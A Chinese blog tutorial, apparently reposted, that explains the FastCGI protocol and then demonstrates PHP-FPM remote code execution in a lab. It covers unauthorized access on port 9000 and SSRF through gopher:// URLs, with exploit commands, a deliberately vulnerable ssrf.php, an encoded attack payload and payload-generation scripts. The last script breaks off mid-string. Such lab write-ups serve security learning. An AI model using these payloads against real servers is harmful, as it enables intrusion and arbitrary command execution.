浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法--------学习子自大佬的教程 ftp那里没做完

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法--------学习子自大佬的教程 ftp那里没做完相关的知识,希望对你有一定的参考价值。

学习自:WHOAMI大佬的。
过程中有报错,也能够解决了。很棒很棒的教程。!!!

1. 前言

2. CGI

早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本。了解决Web服务器外部应用程序(CGI程序)a之间数据互通,于是出现了 CGI (Common Gateway Interface) 通用网关接口。简理理解,可以认为 CGI 是 Web 服务器和运行在其上的应用程序进行 “交流”的一种约定,

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。

3. FastCGI

有了CGI,自然就解决了Web服务器与php解释器的通信问题,但是Web服务器有一个问题,就是它每收到一个请求,都会去Fork一个CGI进程,请求结束再kill掉这个进程,这样会很浪费资源。于是,便出现了CGI的改良版本——Fast-CGI。

维基百科对 FastCGI 的解释是:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,Fast-CGI每次处理完请求后,不会kill掉这个进程,而是保留这个进程,从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。

4. 浏览器处理静态/动态网页过程

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),
而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。

4.1 浏览器访问静态网页过程

在整个网页的访问过程中,Web容器(例如Apache、nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。
在这里插入图片描述

4.2浏览器访问动态网页过程

当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。

在这里插入图片描述当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境。然后处理请求,再以CGI规定的格式返回处理后的结果,退出进程。Web Server 再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。(这里的web server就是 apache )

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展 , 其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能

5. Fastcgi 协议分析

5.1 Fastcgi Record

Fastcgi 其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP 是 浏览器服务器中间件,是一个进行数据交换的协议,浏览器
将 HTTP头 和 HTTP体 用某个规则组装成数据包, 以 TCP 的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以 HTTP 协议的规则打包返回给服务器。

服务器,中间件的一些讲解

类比 HTTP 协议来说, Fastcgi协议则是 服务器中间件某个语言后端进行数据交换的协议. 。 Fastcgi 协议由多个 Record 组成,Record 也有 Header 和 Body 一说,服务器中间件将这二者按照 Fastcgi的规则封装好发送给语言后端
语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照Fastcgi 协议封装好后返回给服务器中间件

和 HTTP 头不同,Fastcgi Record 的头固定8个字节,Body 是由头中的 contentLength 指定,其结构如下:

typedef struct {
  /* Header 消息头信息 */
  unsigned char version; // 用于表示 FastCGI 协议版本号
  unsigned char type; // 用于标识 FastCGI 消息的类型, 即用于指定处理这个消息的方法
  unsigned char requestIdB1; // 用ID值标识出当前所属的 FastCGI 请求
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // 数据包包体Body所占字节数
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body 消息主体 */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

头由8个 uchar 类型的变量组成,每个变量一个字节。其中,requestId 占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength 占两个字节,表示 Body 的大小。可见,一个 Fastcgi Record 结构最大支持的 Body 大小是2^16,也就是 65536 字节。

后端语言解析了 Fastcgi 头以后,拿到 contentLength,然后再在请求的 TCP 流里读取大小等于 contentLength 的数据,这就是 Body 体。

Body 后面还有一段额外的数据(Padding),其长度由头中的 paddingLength 指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

5.2 Fastcgi Type

刚才我们介绍了 Fastcgi 协议中Record部分中各个结构的含义,其中第二个字节为 type,我们将对其进行详细讲解。

type 就是指定该 Record 的作用。因为 Fastcgi 中一个 Record 的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个 Record,通过 type 来标志每个 Record 的作用,并用 requestId 来标识同一次请求的id。也就是说,每次请求,会有多个 Record,他们的 requestId 是相同的。

下面给出一个表格,列出最主要的几种 type:

在这里插入图片描述看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是 type 为1的 Record,后续互相交流,发送 type 为4、5、6、7的 Record,结束时发送 type 为2、3的 Record。

当后端语言接收到一个 type 为4的 Record 后,就会把这个 Record 的 Body 按照对应的结构解析成 key-value 对,这就是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是 4 个结构,至于用哪个结构,有如下规则:

  1. key、value均小于128字节,用 FCGI_NameValuePair11
  2. key大于128字节,value小于128字节,用 FCGI_NameValuePair41
  3. key小于128字节,value大于128字节,用 FCGI_NameValuePair14
  4. key、value均大于128字节,用 FCGI_NameValuePair44

为什么我只介绍 type 为4的 Record?因为环境变量在后面 PHP-FPM 里有重要作用,之后写代码也会写到这个结构。type 的其他情况,大家可以自己翻文档理解理解。

6. PHP-FPM

在前面我们也看到了PHP-FPM这个东西,那这个PHP-FPM到底是什么呢?

官方对PHP-FPM的解释是 FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。

也就是说 PHP-FPM 是 FastCGI 的一个具体实现。并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信。接收服务器中间按照 FastCGI的规则打包好的用户请求。(接收fastcgi格式的数据包),再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

举个例子,当用户访问 http://127.0.0.1/index.php?a=1&b=2 时,如果 Web 目录是 /var/www/html,那么 Web 服务器中间件(如 Nginx)会将这个请求变成如下 key-value 对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是 PHP 中 $_SERVER 数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。

PHP-FPM 拿到 Fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的PHP文件,也就是 /var/www/html/index.php。但如果我们能够控制 SCRIPT_FILENAME的值,不就可以让 PHP-FPM 执行服务器上任意的 PHP 文件了吗。写到这里,PHP-FPM 未授权访问漏洞差不多也就呼之欲出了。

7 PHP-FPM 任意代码执行

前文我们讲到, Web 服务器中间件会将用户请求设置成环境变量,并且会出现一个'SCRIPT_FILENAME': '/var/www/html/index.php'这样的键值对,它的意思是 PHP-FPM 会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制 PHP-FPM 去执行某个已经存在的文件,不能够实现一些恶意代码的执行。并且在 PHP 5.3.9 后来的版本中,PHP 增加了 security.limit_extensions 安全选项,导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件,因此你必须找到一个已经存在的 PHP 文件,这也增大了攻击的难度。

但是好在强大的 PHP 中有两个有趣的配置项:

  • auto_prepend_file:告诉PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件.。
  • auto_append_file:告诉PHP,在执行完成目标文件后,再包含 auto_append_file 指向的文件。

那么就有趣了,假设我们设置 auto_prepend_filephp://input,那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以,我们只需要把需要执行的代码放在 Body 中,他们就能被执行了。(当然,这还需要开启远程文件包含选项 allow_url_include )

那么,我们怎么设置 auto_prepend_file 的值?

这就又涉及到 PHP-FPM 的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置 PHP 配置项的,PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项,PHP_ADMIN_VALUE 可以设置所有选项。

所以,我们最后传入的就是如下的环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置 auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。

8. PHP-FPM 未授权访问漏洞

前文我们讲到,攻击者可以通过PHP_VALUEPHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项auto_prepend_fileallow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码,造成任意代码执行。
除此之外,由于 PHP-FPMWeb 服务器中间件是通过网络进行沟通的。因此目前越来越多的集群将 PHP-FPM 直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成Web服务器中间件让 PHP-FPM 执行我们想执行的恶意代码。这就造成了 PHP-FPM 的未授权访问漏洞。

下面我们搭建环境,对 PHP-FPM 未授权访问漏洞的攻击过程进行讲解。

8.1 环境搭建

![- 攻击机:Ubuntu (192.168.98.142)

  • 靶机:Ubuntu ( 192.168.98.149 )](https://img-blog.csdnimg.cn/20210610150211643.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1plcm9fQWRhbQ==,size_16,color_FFFFFF,t_70)

这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

sudo apt-get install nginx

安装php、php-fpm以及一些插件

sudo apt-get install software-properties-common python-software-properties 
sudo add-apt-repository ppa:ondrej/php    # 这里容易卡死, 解决方法是挂代理
sudo apt-get update
sudo apt-get -y install php7.4
sudo apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring php7.4-xml  php7.4-intl

8.2 配置PHP-FPM

接下来我们需要修改 PHP-FPM 的配置,设置监听9000端口来处理nginx的请求,并将 PHP-FPM 暴露在 0.0.0.0 上面。

打开 /etc/php/7.4/fpm/pool.d/www.conf 文件找到如下位置,注释掉第一行并添加第二行:

;listen = /run/php/php7.4-fpm.sock
listen = 0.0.0.0:9000

便会产生PHP-FPM 未授权访问漏洞,此时攻击者可以直接与暴露在目标主机 9000 端口上的 PHP-FPM 进行通信,进而可以实现任意代码执行。

/etc/php/7.4/fpm/pool.d/www.conf
在这里插入图片描述

打开nginx的配置文件/etc/nginx/sites-available/default修改相应部分的配置

server {
    listen       80; #监听80端口,接收http请求
    server_name  www.example.com; #就是网站地址
    root /var/www/html; # 准备存放代码工程的路径
    #路由到网站根目录www.example.com时候的处理
    location / {
        index index.php; #跳转到www.example.com/index.php
        autoindex on;
    }  
    #当请求网站下php文件的时候,反向代理到php-fpm
    location ~ \\.php$ {
        fastcgi_split_path_info ^(.+\\.php)(/.+)$;
        fastcgi_pass 0.0.0.0:9000;#nginx fastcgi进程监听的IP地址和端口
        #fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
    }
}

/etc/nginx/sites-abailable/default
在这里插入图片描述

8.3 启动环境

配置完成后查看一下php-fpm的安装位置,然后启动.

whereis php-fpm
/usr/sbin/php-fpm7.4    # 这是我的靶机上php-fpm安装的位置

重新启动Nginx

sudo systemctl restart nginx

然后检查nginx是否正确启动

systemctl status nginx

重启php-fpm服务。

service php7.4-fpm restart

检查php-fpm是否正确启动

ps -elf | grep php-fpm	

这里就可以看出上面所说的存在一个master进程和多个worker进程。

在这里插入图片描述
下面将 /var/www/html目录下的文件删除,新建一个index.php,内容可以写上<?php phpinfo(); ?> 用来检查各项是否正常运行(如果页面为空,查看这篇文章解决):

在这里插入图片描述

其中 Sever API 处和上图一样说明运行正确。下面我们开始攻击

8.4 利用fcgi_exp.go攻击

我的在/var/Software/webcgi-exploits-master/php/Fastcgi

将该项目下载下来后,进入到 webcgi-exploits/php/Fastcgi,新建一个 fcgiclient 目录,将 fcgiclient.go 放入新建的 fcgiclient 目录中。
在这里插入图片描述 然后安装 go 环境进行编译:

go build fcgi_exp.go                    # 编译fcgi_exp.go

然后直接运行可以看到 fcgi_exp 的使用方法:

在这里插入图片描述

用如下命令测试:

./fcgi_exp system 192.168.98.149 9000 /var/www/html/index.php "id"
  • system:要使用的PHP函数
  • 192.168.43.82:目标机IP
  • 9000:目标机 fpm 端口
  • /var/www/html/index.php:已知的位于目标机上的PHP文件
  • id:要执行的系统命令

如下图所示,成功执行系统命令,利用成功:
在这里插入图片描述

8.5 利用 pthith0n 的fpm.py

  • 项目地址:要翻墙才行,补贴了,直接贴位置,/var/Software/webcgi-exploits-master/php/Fastcgi/fpm.py

“兼容Python2和Python3,方便在内网用。之前好些人总是拿着一个GO写的工具在用,又不太好用。实际上理解了fastcgi协议,再看看这个源码,就很简单了。“
​ —— phith0n

利用方式:

python fpm.py 192.168.98.149 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"

如下图所示,成功执行系统命令,利用成功:

在这里插入图片描述

9. SSRF中对 FPM / FastCGI的攻击

2021.6.1萌新赛-impossible ip FastCGI 攻击 php-fpm简单的绑定 公网 127.0.0.1的 9000 地址 – 注意 waf.

这个其实也可以用 P 神的 fpm.py 这个脚本来打,叭二进制数据包拿出来就好
而且这里面还会修改 fpm.py 的脚本了。

有时候 PHP-FPM 也并不会执行绑定在 0.0.0.0 上面,而是 127.0.0.1,这样便避免了将 PHP-FPM 暴露在公网上被攻击者访问,但是如果目标主机上存在 SSRF 漏洞的话,我们便可以通过 SSRF 漏洞攻击内网的 PHP-FPM 。

就是通过Web应用程序,通过SSRF向自己的9000端口发送一个 符合php-fpm规则的二进制数据包,然后我们把恶意命令放到包中,就能够RCE了。

  • 攻击机:Ubuntu (192.168.98.142)
  • 靶机:Ubuntu ( 192.168.98.149 )

在目标机Web目录中新建 ssrf.php 文件,写入以下存在 SSRF 漏洞的代码:

 <?php
    highlight_file(__FILE__);
    $url = $_GET['url'];
    $curl = curl_init($url);    
    //第二种初始化curl的方式
    //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); 

    /*进行curl配置*/
    curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
    $responseText = curl_exec($curl);
    //var_dump(curl_error($curl) ); // 如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

    echo $responseText;
    curl_close($curl);
?> 

此时目标主机存在 SSRF 漏洞,并且通过 SSRF 可以探测到目标主机上 9000 端口上运行的 php-fpm。此时,虽然 php-fpm 没有暴露在公网上,但是由于存在 SSRF 漏洞,我们便可以通过 SSRF 漏洞配合 Gopher 协议去打内网的 php-fpm。

修改本地配置:将 0.0.0.0 换成 127.0.0.1 即可
在这里插入图片描述
在这里插入图片描述
然后重启php-fpm,nginx

service php7.4-fpm restart
sudo systemctl restart nginx
systemctl status nginx

???怎么知道的 怎么知道在 9000 端口开放着,

9.1 利用 fcgi_exp 攻击

刚在我们已经演示过了,fcgi_exp 这个工具主要是用来攻击未授权访问 php-fpm 的,所以一些地方需要自己写脚本转换一下 payload。

使用如下命令进行测试:

./fcgi_exp system 192.168.98.149 9000 /var/www/html/index.php "id"

此时显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,不存在 php-fpm 未授权访问,所以说不能攻击成功。我们要通过 SSRF 来从目标机内部攻击 9000 端口

在攻击机上使用 nc -lvp 1234 > fcg_exp.txt 监听1234 端口来接收 payload,另外开启一个终端使用下面的命令发送

./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"

在这里插入图片描述

注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口,运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件,里面是获得的payload,可以使用xxd fcg_exp.txt 查看其内容:

在这里插入图片描述
文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码

注意,这里是用gopher协议网9000端口发数据,相当于Web应用程序向自己的9000端口发数据,

用python3 执行就好。

# -*- coding: UTF-8 -*-
import urllib.parse 

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+urllib.parse.quote(payload).replace("%0A","%0D").replace("%2F","/"))

执行上面的python脚本生成如下payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%14%04%00%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Ddisable_functions%20%3D%20%0Dsafe_mode%20%3D%20Off%0Dauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%00%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0D%27%29%3B%3F%3E

之后我们还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,gopher也会再进行一次解码):

import urllib.parse 

a = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGT

以上是关于浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法--------学习子自大佬的教程 ftp那里没做完的主要内容,如果未能解决你的问题,请参考以下文章

浅入深出ETCD之raft原理

浅入深出之Java集合框架(中)

浅入深出之Java集合框架(上)

浅入深出之Java集合框架(下)

『浅入深出』MySQL 中事务的实现

浅入深出Vue:工具准备之WebStorm安装配置